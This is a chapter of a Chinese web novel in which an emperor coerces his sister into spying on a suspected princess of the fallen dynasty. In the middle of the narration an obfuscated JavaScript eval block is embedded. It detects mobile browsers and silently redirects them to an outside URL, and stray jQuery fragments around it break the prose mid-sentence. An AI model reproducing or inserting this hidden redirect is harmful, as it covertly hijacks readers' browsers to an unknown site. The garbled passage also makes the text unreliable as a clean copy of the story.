12. 唯亲机关皆算尽

作品:《剑逐月行

    “为何要将她安置在仪福殿……”


    陈玄唇间咬着那句质问,似品味着什么荒唐笑话。


    他徐徐起身,步步逼近,迫得陈惟初踉跄后退,直至那寒意再度拂上她耳畔:


    “我的好妹妹,你怕是忘了——凡哥哥行事,何曾需向你禀报?”


    “再者……”他扫过她为外人不平的神色,“我何时教过你,将喜怒尽付眉梢,就为了一个不相干的人?”


    陈惟初缓缓抬眼,狐眸燃火,直直迎向这九五之尊,她的亲兄长:


    “陈玄,忘性大的究竟是谁?从小到大,你何曾教过我半分道理?若说真传授过什么……”


    “那便是教我如何卑贱求生!是你,亲手将我推给那些禽兽,美其名曰替你扫清障碍!也是你,在我哭喊着挠门时,故意将书声念得更响,教会我一忍再忍!”


    她声音陡然拔高,带着积攒已久的怨毒。


    陈玄不怒反笑,倏地扣住她下颌,迫使她迎视自己,不容半分闪躲:


    “我当年豁出命习武,究竟为的是谁,你心里当真没数吗?”


    此话一出,陈惟初气势一馁,眼睫低敛。


    而陈玄却不容她逃,手指发力,逼她承受自己的目光:“初初,你可知那央玉究竟是何人?”


    “她极有可能就是前朝沈皇后唯一的血脉,那个本该死在十载前宫变的——楚昭月!”


    “可当年,我分明一具具核验过尸体……怎会独独漏了她?”陈玄喃喃自语,眼中掠过疑云。


    陈惟初却已浑身脱力,心中剧震。


    央玉竟是前朝公主楚昭月?


    万千心绪攫住了她。


    一面竟生侥幸,楚昭月并非陈玄特意安排来试探她的棋子,那些曾让她心生悸动的话语,并非虚情。


    可另一方面,又是无尽的悲凉旋即涌上。


    若她真是前朝公主,那她的接近是巧合还是刻意?那些所谓的理解,其中又有几分真心?


    念及此处,她四肢冰寒,膝弯一软跌跪在地,无视陈玄同步跪下伸出的手,脑中仍是那些纷乱念头。


    难道连黑暗中窥见的光亮也是蓄意已久的策谋?


    陈惟初不敢深想,却遏不住回想与央玉的每刻交逢,她的每道眼神与每句低语,辨其真伪。


    粉雕玉琢的桃面血色尽褪。


    那双惯常流着骄纵媚意的狐眸,此刻唯余背叛后的空茫。


    未待她理清思绪,陈玄的声音再度在她耳边响起:“我将她安置在仪福殿,就是要看她如何应对。若她真是楚昭月,重归旧巢,面对人事已非的雕栏玉砌,该当如何?”


    他低笑一声:“痛苦吗?”


    “单是设想,便觉酣畅。”话带几分残忍的期待。


    “说来痛苦这东西,你我早就尝尽了。”他逼近寸许,一字一顿,“你受的是拳脚之辱,而我……受的是眼睁睁看着胞妹任人欺凌却无力回天!”


    “妹妹,你说你我之间,谁的痛更深?”


    “我还记得,当我把那些欺辱过我们的人带到你面前时,你眼中迸出的光。世人都知我处置亲族的手段残忍,却无人知晓,我那面若桃花的妹妹,才是真正的指挥者。”


    他饶有兴致地欣赏着她楚楚情态,语气却异常温柔:“哥哥,自然不愿让你的双手沾满污秽。所有肮脏之事,皆由我承担。我唯求一事,就是你永留我身旁,且容……我清除所有妄图带你离去之人。”


    “毕竟这世间,唯你我是血脉至亲。”


    “我至今空置后宫,不也是怕旁人扰你我清净?”


    他指腹摩挲着她下颌,甚至擦过她紧抿的唇。


    陈惟初伺机猛地咬住他手指!


    陈玄吃痛,终于松手。


    她揉着被掐出红痕的下颌,呛咳不止,下一刻倏然起身,攻守易形,扬手狠狠掌在他面门!


    宽大的粉袖落定,陈玄颊上浮起鲜红掌印。


    清脆的巴掌声在寂静的殿内格外刺耳。


    陈惟初甩了甩缀满金钏玉镯的手腕:“陈玄,别把自己撇得那么干净,更别想把我变成你手中那把身不由己的刀!”


    “你敢说,你心底不曾想过更狠辣的手段?你不过是借我之口行你之愿,顺便还能让我承你的情,记你的好!”


    “实话是,即便我不说,你照样会做,甚至……更绝!”


    陈玄凝视着她因愤怒而愈发明艳的脸,非但没有动怒,反执起她伤人的手,轻轻揉按发红的掌心,珍重如对稀世珍宝。


    这情景,像极幼时她每次受伤后,他为她包扎的模样——尽管她深知,那些伤痕多半因他而起。


    她咬紧下唇,心绪复杂难言,终是软了声气:“那……她的反应呢?如你所愿了吗?”


    “没有。她太平静,静得让我疑心,她或许真的不是楚昭月。”


    陈玄抚着颊侧指痕,竟低笑出声。


    “你以为,我不知道法会那日,是你在‘装神弄鬼’吗?”


    陈惟初强装镇定:“是又如何?”


    “我亲爱的妹妹,你似乎忘了,你身边的每名侍卫宫人,皆是我亲手择选。他们存在的意义,便是替我守护着你的一举一动。”


    “包括那日你与楚昭月……不,是央玉的接触。你这般为她说话,可曾想过,若她是假意接近,借你来套取我的消息呢?”


    他缓缓起身,高大的身影笼罩住她,似极享受她此刻的惊恐:“不过……我相信我的妹妹,我在这世上唯一的亲人,是绝不会背叛我的,对吗?”


    “下一句我要说什么,你早该......猜到了。”


    这份扭曲的兄妹默契,陈玄深信不疑。


    正如她扬手刹那,他便知道这巴掌会落下。


    而他,身为九五之尊,竟对这痛楚甘之如饴。


    仿佛这疼痛,能稍偿往日亏欠。


    若掌锢能偿还,他求之不得。


    “你是让我……监视她?”陈惟初迎上他深不见底的目光。


    她早已分不清,自己对他,究竟是恨多一些,还是那畸形的依恋多一些。


    每次她被打得遍体鳞伤,都是他小心翼翼地替她上药,变戏法似的掏出一颗糖哄她。


    这复杂的情感让她困惑。她从小被灌输的只有弱肉强食的恨意。


    而陈玄,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549946|186793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却是唯一给过她些许“甜”的人。


    哪怕是刃上蜜,在割喉前,也能尝到那转瞬的甘甜。


    “哥哥何曾这样说过。”陈玄的气息萦绕在她的耳廓。


    他的阴影彻底吞没她,带来令人窒息的压抑感,仿佛她此生难逃这桎梏。


    她惶然退步,扣住身后桌沿。


    “下周有灯会,你在宫里闷久了,合该散散心了。”他挑起她的下巴,语气散漫。


    陈惟初却满是质疑:“你怎会突然提及此事?”


    她怕陈玄忘了,当年梨儿,便是被他步步紧逼,终致离去。


    她始终记得梨儿离开后,她前去质问,他却温柔地拥住她,在耳畔低语:“你是我在这世上唯一的亲人,好妹妹,哥哥舍不得你出宫。”


    “你读了那些宫外杂书,岂会不动离念?哥哥实在……不能失去你。”


    “若你执意要去宫外,哥哥陪你。”


    “哥哥想与你,永世相守。”


    那时她鬼迷心窍颔首,可他最终未践约。


    陈玄此刻旧话重提,让她泛起一丝微澜。


    难道……他此番真欲陪她观灯?


    然而,陈玄的下一句话,瞬间将她刚燃起的希冀彻底浇灭:“和楚昭月多相处相处,挺好。”


    此刻他心底已然断定,央玉正是楚昭月。


    他并未留意,或者说并不在意陈惟初瞬间黯淡的神色:“取得她的信任,她才会露出马脚。”


    “呵……”陈惟初唇角扬起一抹凄凉的讥诮。


    原来,又是她痴心妄想。


    原来自始至终,她都只是他掌中一枚棋。


    陈玄继续部署:“届时,我会故意调开侍卫。你假装偷偷去找她,营造出你们携手私逃出宫的假象。如此,她才不会生疑……”


    “我唯有一个条件。”陈惟初打断他,目光坚定,“不得侍卫跟随。”


    陈玄闻言,面露诧异,随即又换上那副惯用的哄诱姿态,低声唤道:“初初……”


    这个昵称,每次在他需要她牺牲、需要她顺从时,才会脱口而出。


    而每一次,换来的都是她满身伤痕。


    见陈惟初不为所动,陈玄终是妥协:“依你。”


    “若教我瞧见半个侍卫影子。”陈惟初的声音冷冽,“我便立刻死在你眼前。”


    说出这句话时,她甚至不确定,眼前这位血脉相连的兄长,究竟是否真的在意她的生死。


    世人都道她恃宠而骄。


    可这“宠”有几分真,几分是掌控欲的伪装,连她自己都看不清。


    世人所见,不过是帝王愿意让他们看到的表象罢了。


    -


    一周后的深夜,月色朦胧。


    楚昭月于仪福殿内禅坐,昏光映她沉静侧影于粉壁。


    心诵佛词,耳辨步声逼近,她已然抬眼。


    静待来者。


    忽闻一阵急促的敲门声打破夜的宁静。


    楚昭月闻言起身,行至门后,并未立即开启,只沉声问:“何人?”


    “……是我。”


    门外默然片刻,熟悉女声方起。